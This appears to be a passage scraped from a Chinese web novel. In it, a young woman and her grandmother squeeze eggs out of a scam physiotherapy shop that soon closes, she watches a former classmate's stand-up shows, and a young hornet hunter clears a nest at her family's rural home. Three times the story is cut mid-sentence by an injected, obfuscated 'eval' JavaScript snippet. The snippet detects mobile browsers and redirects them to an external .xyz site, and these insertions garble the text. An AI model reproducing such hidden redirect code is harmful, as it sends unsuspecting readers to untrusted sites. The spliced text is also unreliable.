一旁的店员伸手挡住常乐和姥姥,不耐烦道:“两位如果没什么事,麻烦先出去好嘛?我们现在很忙,没工夫招待外人。” 常乐挺直腰杆,一脸认真道:“我有事啊,我找小杨。” 听到这话,店员明显松了一口气,扭头冲里屋大喊:“杨姐,找你的。” 过了会儿,小杨出现在门口,看到常乐,瞬间变了脸色。 等她过来时,神色又恢复如常。 “李婆婆,有什么事吗?”她越过常乐,跟姥姥打招呼。 姥姥把电饭煲往电疗椅上一搁,揉揉摇,又捶捶肩,显出很吃力的样子:“哦唷累死我了……小杨啊,这电饭煲还是从你手上领的呢,现在出了这种事,我是不敢再用了,你给我退了吧,全部换成鸡蛋。” 小杨维持着得体的笑容:“李婆婆,这电饭煲,您要是不想要,随便怎么处置都行,但是换不了别的东西。毕竟这是赠品,您一分钱没花,所以也没什么损失,对吧?” 姥姥眼珠子一翻,声音高了八度:“什么叫我没有损失?我每天起早贪黑来做电疗,付出了多少时间和精力,这些不算损失吗?” 小杨噎了一下,很快换了个策略:“李婆婆,不是我不想给你换,是店里的赠品已经送完了,暂时没有存货。这样吧,你先把电饭煲放在这儿,等我们进货了再通知你,行吗?” 姥姥有些动摇了:“都送完了?鸡蛋也没了?你这……什么时候进货?” 小杨脸上浮起笑意,张开嘴刚要回答,常乐突然开口:“现在就给我换,不然,我就把你昨天说的话做成横幅,挂在你们店门口。” 此话一出,小杨笑容瞬间僵在脸上,转过头,不可置信地瞪着常乐。 气氛霎时凝固。 其他店员也都安静下来,一脸好奇地看向小杨。 小杨脸上渐渐挂不住了,僵持了一会,她终于投降,冷冷道:“跟我来。” 常乐努力压住上扬的嘴角,跟在小杨身后,进了里间的小仓库。 三层货架上摆满了未开封的电疗仪、按摩枕,以及各种补品礼盒,靠门的地上零散地堆放着各种赠品,鸡蛋一板板摞在一起,还没分装。 小杨蹲在地上,拿起一个网兜,正要往里装鸡蛋,姥姥一把推开她,霸气地说:“不用,我们直接端回去。” 小杨眉头一皱,语气不悦:“你要拿多少?” 姥姥:“你有多少我拿多少。” 常乐:“……” 她小声劝姥姥:“姥,咱一人端一板就行了,多了也拿不了。” 姥姥拧眉瞪着她:“你是哪边的?怎么跟个墙头草一样?拿不了我就多拿几次!” 常乐:“……” 有时候她真想把姥姥挂在网上,让网友们见识一下这老太太有多奇葩。 “两板有六十个,够了,拿这么多咱们冰箱也放不下。” “六十个才够吃几天?多拿点多拿点,你妈的冰箱大。” “这么多,你也拿不动……” “拿得动,看我的。” 姥姥展示出惊人的臂力,一把端起五板鸡蛋,常乐迫于她的淫威,不得不拿起剩下的三板。 “这些可以拿吧?”都这时候了,姥姥还要装模作样地请示一下小杨。 小杨吐出一口气,面无表情地点点头。 这一刻,常乐甚至有点同情她了。 外头,翠姨和孙奶奶的事也商量得差不多了,店员已经向总部汇报了此事,并承诺明天总部会派人去孙奶奶家,查看厨房的情况。如果情况属实,当天就能打款。 各偿所愿,皆大欢喜。 小杨将四人送到理疗店门口,脸上又恢复了职业的笑容。 她对常乐说:“事实证明,我说的没错。” 常乐一愣。 你说了什么?你刚刚什么也没说啊? 小杨没有解释,冲她一笑,转身回到了店里。 姥姥也好奇地问:“她说了什么没错?” 常乐摇摇头,“不知道,奇奇怪怪的。” 两人端着沉甸甸的鸡蛋,挪着小碎步,往小区大门走去。 在小区凉亭,两人停下来歇了会儿,姥姥又问:“对了,你刚刚跟她说什么,要把她的话做成横幅……她怎么一下子态度就变了?她到底说了什么话?” “嗐。”提到这事,常乐就来气,“昨天我吃火锅,碰到她坐在隔壁桌,她说,咱们教师小区——” 话音突然止住。 常乐终于反应过来—— 原来小杨最后那句话是这个意思。 啊呀呀呀呀!常乐气得咬牙切齿,捶胸顿足。 她输了!别人阴阳怪气,她居然没有当场还击!这个笨脑子,要你何用! 要不是怀里还抱着三板鸡蛋,她真想冲回去,跟小杨激情对骂,再战三百回合。 算了算了,常乐大口喘着粗气,宽慰自己,胜败乃兵家常事,下次再好好发挥嘛。 而且,精神上她虽然输了,但物质上她赢了啊,这么多鸡蛋呢,够她全家吃到明年了。 -- 回到家,常乐遵照姥姥的旨意,直接将鸡蛋运到二楼。 一进屋,林文娟的声音就从洗手间传来:“晒个床单,晒了一个多小时,鞋子泡在桶里都臭了,也不知道刷!” 林文娟骂骂咧咧地出来,视线落在常乐怀里的鸡蛋上,不由得一愣。 “买这么多鸡蛋干嘛?家里又不缺。” “这是战利品。”常乐把鸡蛋放在桌上,转身朝门口走去,“还有呢,你等着。” 常乐又跑了两趟,才将鸡蛋全部运完。 林文娟一边往冰箱的抽屉里码鸡蛋,一边听常乐讲述前因后果。 她又无奈又想笑:“说真的,我觉得你们两个更像反派,打家劫舍,趁虚而入。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610588|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常乐嘿嘿一笑,从冰箱里拿出一罐酸奶。 当个没皮没脸的反派,可比做个忍气吞声的老实人要爽多了。当然,要在法律允许的范围内。 “对了。”林文娟忽然想起一件事,“我刚刚收拾你房间,看到一件卫衣,我给洗了。” 常乐心跳忽然漏了一拍。 林文娟明知故问:“那是你的吗?之前怎么没见你穿过?” 常乐若无其事地喝着酸奶,大脑却在疯狂转动。 说吧,怕林文娟误会。不说吧,更容易误会。 其实也没什么好瞒的,不就是吃顿火锅嘛,遮遮掩掩的反而会让人浮想联翩。 “哦,昨天跟易诚去吃火锅,他借我穿的。”常乐尽量表现得随意,“是该洗洗了,火锅味道大。等晒干了我再还回去。” 林文娟“哦”了一声,用同样随意的口吻试探:“你们开始约会了?” 常乐一口酸奶差点呛住。 “咳咳!妈你别瞎说,什么约会,咳咳……” 林文娟拍拍她的后背,“不是就不是,你紧张什么?就算是也不要紧,又不是早恋,我还能棒打鸳鸯不成?” 常乐脸涨得通红,哑着嗓子说:“真不是!我就是馋了,想吃点重口味的,正好碰上他了。我俩是纯洁的饭搭子关系。我、发、誓!” “这点小事还要发誓?”林文娟轻叹一声,面露几分惋惜,“我还不了解你吗?你对美食可比对帅哥有兴趣多了。” -- 第二天一早,常乐找了个纸盒,将电疗仪和杂七杂八的配件都装了进去。 昨天晚饭时,一家人聊起白天发生的事,一致决定要把这台电疗仪还回去,以后也不跟这家店打交道了。 毕竟,这台仪器放在家里也是个摆设。姥姥怕坏了退不了,都没敢用,还得隔三差五给它擦擦灰,烦都烦死了。 一想到今天又能与小杨battle一场,常乐兴奋得睡不着,连夜在小红书上查找吵架攻略。 她已经做好了万全的准备,就等着一雪前耻了。 结果,等她斗志昂扬地冲到理疗店门口时,却发现卷帘门紧闭,原本在门口招呼排队的店员也没有出现。 门口只有几个老头老太太,都在茫然地等待着。 不应该啊,常乐看了眼手机,已经八点了,还没开门吗? 该不会跑路了吧? 常乐等了会儿,决定先去吃早饭。 吃完一碗牛肉粉后,她再次抱起纸盒,回到理疗店门口。 八点半,还是没开门。 常乐蹲在地上,双手托腮,陷入了迷茫。 老头老太太们在店门口来回转悠,来了几个,又走了几个,都跟她一样茫然无措。 太阳越升越高,渐渐爬到头顶,终于来了个中年男人,在卷帘门上贴了张纸—— 白纸黑字,旺铺招租。 几个老头围住他,七嘴八舌地问:“怎么回事啊?”“今天还开不开门了?”“你贴这个是什么意思?”“你是老板吗?”…… 中年男人也稀里糊涂的:“不关我的事啊,这家店就租了两个月,这还没到期呢,昨天晚上突然跟我说已经搬走了,让我重新招租。” 听到这话,常乐抱起纸箱起身,拍拍屁股,准备回家。 果然跑路了。看来她的预感还是挺准的。 就为了不赔那五万块钱,至于么? 跑就跑了吧,反正她们家也不亏,白得了那么多鸡蛋呢。 就是可惜她连夜做的吵架攻略了。 她才刚刚体验到做反派的乐趣,对手就落荒而逃了,唉,真是不经打。 22. 22 年前这几天,理疗店跑路一事成为了小区的头条新闻,各路小道消息传得有鼻子有眼的。 有说张家老头刚花一万块,买了个终身免费做理疗的VIP会员,有说李家老太太认小杨当干女儿,还给她送了个金手镯,还有的说孙奶奶得知消息当场崩溃,哭着喊着要报警…… 除了报警这条,常乐对其它传言都持怀疑态度。 在易诚家的训练室,两人聊起这事。 易诚分析道:“我觉得他们本来就计划在年底关店,因为在外打工的年轻人都回家了,看到老人上当受骗,肯定会劝阻,买了东西的也会拿去退货,他们店本就来没打算开多久,又碰上火灾的事,所以就连夜跑路了。” 常乐叹气道:“跑路是在意料之中,就是不知道咱们小区有多少冤大头上当受骗,一台电疗仪就要一万多呢,那个小杨卖了八台,其他人应该也卖了不少。” 说起电疗仪,常乐更疑惑了—— “这玩意儿她还要不要了?” 易诚推测,小杨本打算到期后再上门推销一波,能卖多少算多少。就算没卖成,收回去还能放在店里给人体验,反正她不亏。只是没想到出了这事,这个计划怕是进行不下去了。 常乐又问:“你家那台电疗仪打算怎么处置?” 易诚:“既然给你了,就放心大胆地用呗。” 易诚将她带到易叔叔的卧室,电疗仪就摆在床头的躺椅上,易叔叔坐在上面,手指连着电线,仪器发出轻微的“嘀嘀”声。 常乐跟易叔叔打了个招呼,退出了卧室。 “你爸还挺懂享受。”常乐调侃道,“效果怎么样?” 易诚想了想,“大概就跟手摸电门差不多吧。” 常乐哧哧地笑了起来。 训练室里有几个小孩在玩闹,其中一个小姑娘抱着图图舍不得撒手。 她仰头央求易诚:“哥哥,我今天能住在你家吗?” 易诚蹲下身,摸了摸图图的脑袋,笑道:“你是不想回家写作业吧?” 小姑娘嘴一瘪,“寒假又不能来学轮滑,只能学数学学英语,好烦啊。” 听到两人的对话,常乐好奇地问:“你寒假没开班吗?” 易诚“嗯”了一声,解释道:“我准备等春天再开班招生,冬天不适合滑轮滑,太容易骨折了,而且我爸这个病,冬天发病率更高,需要人贴身照顾。” 说话间,一个中年女人走进训练室,揪着小姑娘的羽绒服,将她拎走了。临走前,还冲易诚点点头,“又给你添麻烦了。” “没事儿。” 易诚收拾完小姑娘留下的玩具,转身看向常乐。 “上次吃火锅送的票,是今天下午的吧?” “对。”常乐从大衣口袋里掏出两张票,“我正想跟你商量这事,你要去吗?” 易诚弯唇一笑:“去啊,支持一下你的老同学嘛。” 常乐仍有些纠结。 “你不知道,我以前可烦他了,他老给人起外号,开一些很low的玩笑。”她撇撇嘴,”我觉得他的脱口秀水平肯定不怎么样。“ 易诚从她手里抽出一张票,说:“那正好啊,如果他表现得不好,你可以见证他的失败。如果他不幸表现得很好,你可以收获二十分钟的快乐。” 常乐立刻被他说服了。 有什么比见证昔日仇人当众出糗更有趣呢? 脱口秀表演场地在城区一家酒吧的二楼。两人在开场前十分钟赶到时,意外地发现里面已经坐满了人,目测不少于两百人。 “他这么受欢迎呢?”常乐惊奇道。 易诚在角落找了两张椅子,用袖子擦了擦上面的灰,让常乐坐下。 “这是个拼盘演出,观众不一定是冲他来的。”他安慰道,“小地方娱乐活动有限,过年期间,这种演出肯定比平时要火爆。” 常乐忽然想起什么,一拍巴掌道:“对啊,没准儿大家拿的都是赠票,不来白不来嘛。” 易诚大笑起来。 一个戴眼镜的小哥上台报幕,演出正式开始。 不得不说,某些线下脱口秀是真的…… 难登大雅之堂。 上台的几个人,有男有女,讲的全是男女之事。要么是恋爱的烦恼,要么是约P的离奇经历,要么是结婚生子那些陈芝麻烂谷子的事。 而且,尺度之大,令人咋舌。 常乐听得连连叹气。 她小声吐槽:“我要是想听黄段子,随便找个中年男人浓度高的酒局一坐不就行了嘛,何必专门来这儿,让纯洁心灵被污染。” 易诚也无可奈何:“可能他们以为,线下观众就喜欢尺度大的。” 终于轮到洪子豪登场了,台下响起了稀稀拉拉的掌声。 “大家好,我是大红枣,是个火锅店老板。”简短的自我介绍结束,他进入主题:“我有个女朋友——” 常乐又叹了口气。 怎么又是谈恋爱那档子事啊?女生的心思难猜、女生出门要很久、给女生拍照很痛苦,诸如此类。 台下的反应也不够热烈,有几处包袱没响,台上的洪子豪肉眼可见地紧张起来,最后连声音都颤抖了。 常乐很想幸灾乐祸,可是又忍不住同情他。 她觉得自己太刻薄了。 初中时期的那点小仇小怨算得了什么呀,没必要记那么久。待会儿见到他,还是多多鼓励吧。 散场后,两人在楼梯口碰上大红枣,他有些局促,问常乐自己的表现怎么样。 常乐尬笑:“哈哈哈,不错不错。” 大红枣:“……没了?不给点建议什么的?” 常乐挠挠头,“嗐,我哪懂什么脱口秀啊,听得开心就行了。”她转过头,向易诚投来求助的目光,“我朋友懂得多,他应该能给点建议。” 易诚只好硬着头皮说:“呃,我是觉得,你们几个讲的内容太同质化了,会让观众产生审美疲劳。” 常乐连连点头:“对啊,而且台下的观众大多是女生,你一直在吐槽你女朋友,有些梗会让观众不太舒服,感觉被冒犯了。” 大红枣笑着解释:“你不懂,有位名人说过,脱口秀就是冒犯的艺术。” 常乐:“那你也不能光冒犯别人,不冒犯自己啊。有时候,自嘲反而更有喜剧效果,还会让观众对你产生,呃……怜爱。” 大红枣挠挠肚腩,露出苦恼的神色。 “要我自嘲?我有什么可嘲的?我事业有成,又一表人才,还那么幽默风趣……” 常乐跟易诚对视一眼,无语俩字都写脸上了。 常乐决定好人做到底。 她给大红枣举例:“比如啊,你可以说你女朋友在小红书发了一张跟你的合照,底下马上有人问她,姐妹,你是不是有恋猪癖?” “噗——”易诚笑喷了。 大红枣面红耳赤,又气又笑:“你这嘴也太毒了!” “这就是冒犯的艺术!”常乐憋着笑,一本正经地解释,“你相信我,多讲点这种段子,肯定能拉高观众对你的好感度。” 大红枣思索片刻,勉强接受她的建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616907|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议:“行吧,我抓紧时间写篇新稿……下次演出是大年初三,你们有空吗?” 常乐有些为难:“……我再看看吧。” 大红枣说:“到时候直接跟工作人员报我的名字,就说是我老同学。”他双手拱拳,“一定要来捧场啊!” 盛情难却,常乐无奈同意:“行,我尽量抽出时间。” -- 年前最后几天,常乐除了做点家务、接送林文娟逛街购物、教姥爷做直播之外,再无其它任务。 连小奶狗都不用一只只捉起来喂了,一盆羊奶放在地上,四小只像饿狼扑食似的围过来,不一会儿就将盆底舔光。 日子就这么安稳地过去了。 除夕夜,一家五口围坐在沙发上看春晚,狗窝也搬到了沙发边,四只小奶狗围着胜宝,嬉闹欢跳,玩得不亦乐乎。 电视开着就是听个响,每个人都有自己的事要忙。 常乐和林文娟在包包面,常建民在一边泡脚,一边给各种领导同事发拜年微信。 发到一半感觉不满意,他向常乐求助:“你再帮我找几条新年祝福语,要显得有文化,不能太大白话。” 常乐翻了个白眼:“爸,这种东西没人会认真看的。” 她发现,不上班还有个好处,就是不用再搞这种虚伪的形式主义了。今年除夕,她一条微信都没发,这种全世界都不care的感觉简直太爽。 姥姥在单人沙发上体验电疗——听完常乐的一番分析后,她终于敢放心使用电疗仪了。 姥爷沉浸在抖音里,不时抬头催一催姥姥,他还等着被电呢。 就这么熬到了十点。 包面已经包好了,留着明天早上吃。常乐玩着手机,不时看一眼电视。 节目还是那么无聊,网上的吐槽也都在跟风,没有一点创意。 常乐打了个哈欠,第一百零一次抱怨道:“到底是谁规定的除夕夜必须看春晚啊?就没点别的娱乐活动吗?” 林文娟瞥她一眼,“困了就去睡,反正明天有重播,想看几遍都行。” “行吧。” 躺在床上玩手机,总比坐在电视机前被尴尬小品强行挠咯吱窝要好。 常乐站起身,正要把狗窝挪到房间,忽然听到窗外“嘭”的一声炸响。 她顿时兴奋起来:“有人放烟花!” 姥姥姥爷正准备回卧室,听到动静,不约而同地转头,向门口走去:“走,去看看。” 一家五口穿着居家服,揣着手机和钥匙出门了。 烟花一朵一朵在头顶炸开。 大家一边仰头看着夜空,一边朝声音传来的方向走去。 小区的下沉广场已经围了一圈人,中间摆着一个方形烟花盒子,火星倏地蹿出,腾空而起。 “嘭——” 璀璨烟火,绚丽绽放,映亮了夜空,也映亮了所有人的脸。 常乐看到了很多熟悉的面孔,前排几个小孩在争着放小烟花,孙奶奶和翠姨笑得很开心,周俊臻站在中间,挽着两人的胳膊。 易叔叔坐在轮椅上,戴着厚厚的围巾和帽子,吃力地仰起头,易诚站在他身后,扶着轮椅,却没有抬头。 他的视线与她相撞,隔着烟火与人群,他弯了弯眼眸,用嘴型在说: “新年快乐。” 常乐忍不住笑了。 她转过头,看见常建民搂着林文娟,两人的脑袋靠在一起,姥姥和姥爷相互搀扶着,脸上的沟壑在烟火的映照下更显深刻。 所有人都在笑,眼里都缀着喜悦的光。 23. 第 23 章 大年初三这天,常乐和父母开车回老家拜年。 山路崎岖蜿蜒,车身一颠一颠,常乐开了一小段路就颠得受不了,下车跟常建民交换了位置。 “怎么滴?”常建民得意地挑挑眉,“姜还是老的辣吧。” 常乐靠着车窗,抚着胸口,缓解晕车带来的恶心感。 常建民风轻云淡地开完了剩下的路程。 常乐的爷爷奶奶早已过世,老家只剩下大伯一家。小车在一处空地停下,一家三口提着礼品盒和早上刚买的猪肉,沿着小路往上爬。 大伯老远就看见了他们,不一会儿,一条长鞭炮就甩了出来,“噼里啪啦”炸得满地红红火火。 “大伯大妈,过年好!”常乐一边躲着鞭炮,一边笑脸迎上去。 大伯大妈将他们请进屋,端上三杯红糖水,上面漂浮着白色的米泡——这是一种用糯米制成的膨化食品。 大伯知道常乐喜欢吃这玩意儿,特意将装米泡的铁罐摆在她面前,不停地劝她多吃点。 “唔唔,好吃,跟小时候的味道一样。”常乐边嚼边说,手还不闲着,又抓了一大把。 一屋子人都笑了。 大妈将她端详一番,问:“常乐还是在江城?干什么工作的?” 常乐不好意思说自己失业的事,便敷衍道:“还是老样子,在一家小公司打工。” “一个月到手多少啊?” “嗐,没多少。” 正闲聊着,表姐常悦从二楼下来了。她从小就长得漂亮,个高腿长,盘靓条顺,高中毕业后就去了杭城,做起了淘宝模特,几年后又进了一家mcn公司,现在是一名带货主播。 大伯大妈见女儿发展得不错,也跟着她去了杭城,在一家服装厂打工。 “悦悦姐,你从杭城回来了?” 常乐起身准备迎接她,突然意识到两人身高的差距,又悻悻地坐下。 林文娟起身拉着常悦的手,亲切地说:“悦悦啊,刚刚你妈还跟我们说呢,你今年赚了四十多万,真是厉害啊。” 常悦尴尬地笑笑:“嗐,哪有那么多啊,大头都被公司拿走了,我就是个打工的,也就拿个零头。” 聊了几句,大妈又把话题转到常乐身上:“乐乐应该也赚了不少吧?” “没多少,跟表姐不能比。”常乐打着哈哈。 大妈不依不饶:“没多少是多少啊?毕竟是大学生,一个月至少也有两、三万吧?” 常乐感觉胸口被扎了一箭。 她讪笑道:“哪有那么多啊?还得扣除五险一金和税费呢,实际拿到手也就两万出头吧。” “哟……”大妈目瞪口呆,一时竟词穷了。 常乐露出厚颜无耻的微笑。 不是爱打听吗?我年薪五十万,你难受去吧。 林文娟幽幽地瞥她一眼,仿佛在说: 吹这么大的牛,也不怕兜不住。 几个人都不接话,气氛一时有些尴尬。 常建民赶紧打圆场:“走,咱们去老屋看看。” 老屋是以前爷爷奶奶住的一栋红砖小平房,前后都有院,已经荒废多年了。 打开铁栅门,院子里长满了荒草。 常建民常念叨着,等他老了就在这宅基地上建两栋房子,两家人住在一起,种种菜,钓钓鱼,日子不知过得多清闲。 可惜,这话说了十几年,一直是纸上谈兵。 小平房的红砖墙面早已褪色,推开两扇木门,屋里的陈设依旧如昨,地面和家具蒙着一层厚厚的灰。 穿过前厅,后面是厨房,有扇小门连接着后院。 常建民走进去,环视一圈,忽然“呀”了一声。 “怎么了?” 常乐紧跟在他后面,走进后院,顺着他的视线望去,顿时觉得毛骨悚然。 屋檐下挂着一只土黄色、瓮形的马蜂窝,主体部分居然有篮球那么大。 常乐身上起了一层鸡皮疙瘩。她抱着胳膊,催促常建民:“快走吧,马蜂蜇人可疼了!” 小时候,她每次放暑假都要回老家待一阵子。有次,她不小心被马蜂蜇了,半边脸肿得跟猪头一样,送医院打了几瓶吊针才好。 常建民一动不动,仰头观察着马蜂窝,半晌才说:“冬天马蜂都冻死了,这个蜂巢多半已经空了。我去找根竹竿,把它弄下来。” “啊?”常乐大惊失色,差点落荒而逃。 林文娟严肃地说:“你别逞能,万一里面还有马蜂,你就成了活靶子。” 大伯也劝说道:“对啊,你别瞎折腾了,孩子们还在这儿呢。我记得乐乐小时候被蜇过,疼得哭爹喊娘的。” 常乐用力点头。 面对众人的反对,常建民英雄梦碎,只能惋惜地叹了口气:“行吧,我再想想办法。” 从老屋出来后,大伯忽然想到:“对了,咱们村有个蜂农,一年四季都在外头跑,过年了才回来。他肯定有法子对付这种马蜂窝,我去问问他。” 大伯所说的蜂农,住在村子的边缘。几个人走了十分钟的山路,才找到一栋小矮楼,门口摆满了蜂箱,有零星几只蜜蜂飞进飞出。 “方大爷。”大伯朝屋里吆喝道,“家里有人吗?” 等了一会儿,从房子里走出一个皮肤黝黑的精瘦老头,眯眼看了看大伯,又转头打量着常建民和常乐。 大伯迎上去,三言两语跟他说明了来意。 方大爷略略点头,转身回屋里,拿出了老式手机。 “我有个侄子是专门干这个的,大家都叫他马蜂猎人。”他说,“我打个电话问问,看他今天有没有空。” 常建民急忙说道:“大爷,不用这么麻烦了,你家应该有那种防护服吧?你借我穿一下,我自己就能把马蜂窝搞下来。” 大爷一边低头在手机上翻找,一边摆摆手说:“我们穿的防护服很薄,根本防不了马蜂。马蜂的刺长,能穿透衣服扎你皮肤上。” 说完,他拨通电话,寥寥数语便说明了情况。 “我侄子过来一趟很快的,你们回去等着吧。” 在大伯家吃完午饭,那位神秘的大侄子还没出现。 林文娟等得有些不耐烦了,小声催促常建民:“咱们先回去吧,下午家里还有点事。” “别啊,再等等吧。”常建民一心想见识下这位马蜂猎人的身手。 常乐也不想错过这个看热闹的好机会。 林文娟只好又坐回去,抓起一把瓜子嗑了起来。 又过了半小时,门口终于传来动静,一阵摩托轰鸣声由远及近,最后停在了大伯家门外。 所有人都朝门口望去。 从摩托车上下来一个年轻小伙子,皮肤略黑,身材瘦长,长相略显稚气。 他正从摩托车后座上卸下一个硕大的包裹。 常乐走到门口,“咦”了一声,语气不太确定:“你就是方大爷的侄子?” 小伙子抬眼看向她,笑出一口白牙,解释道:“我哥正在赶大集,一时半会儿赶不回来,他就喊我过来了。反正是个死窝,好搞。” 常建民也来到门外,略显担忧地问:“你还是个学生吧?” “我都成年了,跟着我哥干了好几年,放心吧。”小伙子用力一甩,将包裹扛在肩头,“马蜂窝在哪儿呢?” 常建民仍不放心。他带着小伙子来到老屋,一路上反复确认:“你有安全措施吧?你是徒手去摘吗?摘下来的蜂巢你打算怎么办?”…… 小伙子一开始还耐着性子解释,后来都烦了,懒得搭理他。 他到后院看了一眼,把包裹放在地上,对两人说:“你们在前院门口等着吧。” 常建民大失所望:“我不能在旁边看看吗?” 小伙子拧眉瞪眼,“当然不行,万一里面还有活蜂呢?你们又没有防护服。” 说完,他打开包裹,从里面掏出一件厚厚的连体衣,两条腿先伸进去,然后是胳膊,最后戴上防护帽。 胸前一道拉链,从下往上拉好,将他包裹得严严实实。 他冲两人摆了摆手,示意他们赶紧出去。 常乐忽然灵机一动,掏出手机问:“我能把手机摆在这里,录个视频吗?” 小伙子思忖片刻,点点头,表示同意。 于是,常乐打开手机视频模式,在后院的墙上找了块凸起的砖头,将手机稳稳地架在上面。 常乐和常建民退出了老屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621152|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在院子外等待着。 这时,方大爷爷也慢悠悠地踱步过来了。 看到两人担忧的神色,他笑呵呵地安慰道:“放心吧,我侄子是退伍军人,干这一行五六年了,熟练得很,不会失手的。” “大爷,”常乐指着屋里,“来的好像是个小孩。” 方大爷一愣,很快反应过来:“哦,方煦啊,他也不错,不过比他哥还是差远了。” 默了片刻,常乐问出她最关心的问题:“大爷,他们怎么收费啊?” 方大爷摆摆手,“免费的。” “啊?志愿者啊?” 常乐顿时对这个小伙子肃然起敬。 方大爷解释道:“收回来的蜂巢、蜂卵都可以卖钱,还有马蜂泡酒,集市上好多人都抢着要呢。他们主要是靠这个赚钱。” 这下常乐放心了。 她心想,这一行还不错,既可以赚钱,又能帮村民解决麻烦,可谓是双赢。 唯一倒霉的就是马蜂了,不过,谁让它们在别人家私搭乱建呢?还敢出来骚扰主人,实在可恶。拆除违建,合理合法。 她正想着,小伙子就推开门走了出来,他已经脱下了笨重的防护服,一身清爽,肩上还扛着那个大包。 常建民惊奇道:“这么快?” “小菜一碟。”小伙子从包里拎出一个白色网罩,里面是个完整的蜂巢。 他又举起一个塑料瓶,里面装着四、五只马蜂。 “看,这几只还活着。” 常建民顿时感到一阵后怕。要是他刚刚逞强硬上,肯定会被这几只大马蜂叮成猪头。 他仍有些疑惑:“不是说马蜂冬天都会冻死吗?” 小伙子解释道:“今年是个暖冬,气温一直没有低于零下,所以马蜂比往年冬天要活跃一些。” 说到这事,倒提醒了马大爷:“方煦啊,你上我屋里头看看,我家蜂箱口最近总有蜜蜂尸体,我怀疑是被马蜂咬死的。” 方煦豪迈地将包裹甩到肩头,跟在方大爷身后,“走,去看看。” 常建民注视着他的背影,眼里流露出几分羡慕。 “哎,等等!”常建民突然想起什么,急忙追上方煦,“小兄弟,留个联系方式吧,以后你们去收蜂窝,可以叫上我。” “你?”方煦疑惑又好笑,“你去干嘛?” 常建民举着手机给他扫码,一脸真诚道:“我去观摩学习嘛。” 微信加上了。方煦跟在方大爷身后,大摇大摆地走了。 常乐跟常建民又回到大伯家。 已经是下午三点多了,一家三口坐上车,跟大伯一家告别。 小车刚驶出几米远,常乐突然爆发一声尖叫。 “啊啊啊啊啊——我的手机!” 林文娟和常建民一脸无语地看着她。 你怎么不把脑子也丢了呢? 一行人又返回老屋、打开院子大门、再推开木头门,常乐一个箭步冲进后院,一眼就看到自己的手机,正孤零零地立在红砖墙上。 她连忙取下手机,一看,视频还在录制中。 她倒回到半个小时前,几只脑袋都凑过来,一起观看。 只见穿着厚重防护服的方煦从包里抽出一只带网罩的长杆,罩住马蜂窝,用巧劲轻轻一勾,整个蜂窝就落进了网罩里。 几只落网之蜂飞来飞去,想要攻击他,被他用另一只小网罩一一捕捉,塞进了塑料瓶里。 整个过程不超过两分钟。 常乐:就这? 她还以为能看到什么飞檐走壁、徒手捉蜂的绝活呢。 什么马蜂猎人,也不过如此嘛。 常建民看完后唏嘘不已:“真是英雄出少年啊。” 常乐不服气道:“我要是穿着那身铠甲,别说摘马蜂窝了,就是徒手抓蛇都不怕。” 常建民嗤笑:“你就吹吧,就你那点胆子,真要有条蛇,你肯定跑得比过年的猪都快。” 常乐忿忿道:“爸,你也太小瞧我了,想当年,我也是——” 话未说完,林文娟突然指着墙角一截枯树枝,尖叫道:“有蛇!” “啊啊啊啊!”常乐发疯似地惨叫,一溜烟跑没影儿了。 24. 24 从老家回来,常乐在城区的步行街口下了车,老远就看见易诚站在酒吧门口。 他穿着短款飞行夹克,搭配直筒工装裤,一如既往地简单随性。 几个年轻女孩从他身边走过,偷偷回头看了他一眼,窃笑着你推我搡,似乎在互相怂恿。 常乐一路飞奔过去,停在他面前,气喘吁吁地说:“抱歉啊,来晚了……” “没事儿。”易诚弯眸一笑,将手中的奶茶递给她,“演出才刚开始,我打听过了,你同学排第三个,还来得及。” 热乎乎的奶茶捧在手上,熨帖着常乐微微悸动的心。 “走吧。”易诚转身走进了酒吧。 还是同样的场地,但这次只有舞台前方围坐了一堆人,粗略估计只有五十人。 为了不打扰别人,常乐和易诚依旧坐在最后一排。 台上正在表演的是个一头锡纸烫的小伙子,他讲得磕磕巴巴,还不时掏出手机看一眼。 常乐小声嘀咕:“还可以这样啊?” “这场是开放麦。”易诚跟她解释。 哦,难怪人那么少。 开放麦与正式演出不同,是脱口秀演员为了打磨新段子而进行的内测表演,票价很便宜,甚至免费。 因为是半成品,所以不好笑也在情理之中。 台上这位小哥围绕着自己的各路奇葩亲戚吐槽了五分钟,其中,宣泄居多,笑点寥寥。 台下的观众还算包容,每个梗都配合着发出笑声,小哥下台时,也送上了鼓励的掌声。 毕竟是免费的,不能要求太高。 轮到洪子豪上台了,他看上去信心满满。 